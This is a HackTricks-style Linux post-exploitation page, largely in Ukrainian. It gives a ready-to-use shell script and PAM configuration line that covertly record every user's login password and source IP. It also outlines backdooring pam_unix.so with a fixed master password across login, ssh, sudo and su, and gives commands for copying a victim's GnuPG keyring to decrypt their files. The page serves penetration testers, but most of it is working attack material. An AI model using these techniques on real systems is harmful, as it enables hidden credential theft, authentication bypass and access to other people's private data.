Linux Post-Exploitation
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Sniffing Logon Passwords with PAM
Налаштуємо PAM-модуль для логування кожного пароля, який користувач вводить при вході. Якщо ви не знаєте, що таке PAM, перегляньте:
PAM - Pluggable Authentication Modules
Для детальнішої інформації дивіться original post. Нижче наведено короткий підсумок:
Technique Overview: Плагінні модулі автентифікації (PAM) забезпечують гнучкість у керуванні аутентифікацією на Unix-подібних системах. Вони можуть підвищувати безпеку шляхом налаштування процесів входу, але також становлять ризик у разі неправильного використання. Цей підсумок описує методику захоплення облікових даних за допомогою PAM та рекомендовані заходи пом’якшення.
Capturing Credentials:
- Створено bash-скрипт з ім'ям
toomanysecrets.sh
, який реєструє спроби входу, записуючи дату, ім'я користувача ($PAM_USER
), пароль (через stdin) та IP віддаленого хоста ($PAM_RHOST
) у/var/log/toomanysecrets.log
. - Скрипт роблять виконуваним і інтегрують у PAM-конфігурацію (
common-auth
) за допомогою модуляpam_exec.so
з опціями для тихого виконання та надання скрипту токена аутентифікації. - Цей підхід демонструє, як скомпрометований хост Linux може бути використаний для прихованого логування облікових даних.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Для детальнішої інформації перевірте original post. Це лише підсумок:
Pluggable Authentication Module (PAM) — це система, що використовується в Linux для аутентифікації користувачів. Вона ґрунтується на трьох основних поняттях: username, password, service. Файли конфігурації для кожного сервісу знаходяться в директорії /etc/pam.d/
, де спільні бібліотеки обробляють аутентифікацію.
Мета: Змодифікувати PAM, щоб дозволити аутентифікацію за конкретним паролем, обминаючи реальний пароль користувача. Особлива увага націлена на спільну бібліотеку pam_unix.so
, яку використовує файл common-auth
, і яку підключають майже всі сервіси для перевірки пароля.
Кроки для модифікації pam_unix.so
:
- Locate the Authentication Directive in the
common-auth
file:
- The line responsible for checking a user's password calls
pam_unix.so
.
- Modify Source Code:
- Add a conditional statement in the
pam_unix_auth.c
source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
- Recompile and Replace the modified
pam_unix.so
library in the appropriate directory. - Testing:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
tip
Ви можете автоматизувати цей процес за допомогою https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
If you find an encrypted .gpg
file and a user’s ~/.gnupg
folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Якщо матеріал секретного ключа присутній у private-keys-v1.d
, GPG розблокує і розшифрує без запиту passphrase (або запитає, якщо ключ захищений).
Посилання
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.